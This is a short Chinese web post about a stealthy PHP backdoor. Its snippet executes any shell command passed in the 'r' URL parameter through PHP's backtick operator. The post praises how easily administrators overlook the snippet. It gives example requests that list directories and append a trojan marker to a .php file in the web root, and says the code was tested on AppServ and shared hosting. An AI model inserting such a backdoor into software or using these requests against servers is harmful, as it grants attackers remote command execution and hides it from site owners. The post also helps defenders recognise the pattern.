一个不易被发现的PHP后门代码解析
偶然间看到一段,看起来似乎没有什么问题,确是能致命的后门代码,这里用到了一个一般的PHPer都不怎么关注的反撇号`,反撇号包含的字符串,等同于shell_exec函数。
伪装性很好,很容易被管理员忽略。
$selfNums=$_GET['r'];
if(isset($selfNums)){
echo`$selfNums`;
}
刚看到这段代码我想大家都会说没有问题,但是细心的朋友也会发现下面的变量被一个符号包起来了,既然是变量为什么要这样了,
而且又不是单引号,这个就是关键所在了,这个符号是Esc下面的一个键(位于感叹号!旁边的),
通过echo`系统命令`;可以达到system();一样的效果
如果不信的朋友可以测试
http://127.0.0.1/t.php?r=dir可以列出目录
http://127.0.0.1/t.php?r=echo我是马儿>>D:\web\90sec.php
我用appserv和虚拟主机已经测试成功。
热门推荐
10 祝孙辈生日祝福语简短
11 恋人跨年祝福语大全简短
12 考大学敬酒简短祝福语
13 开工投产大吉祝福语 简短
14 偶然结婚祝福语朋友简短
15 感谢学长学姐祝福语简短
16 戏精的祝福语简短
17 我要结婚祝福语简短
18 婚前女儿生日祝福语简短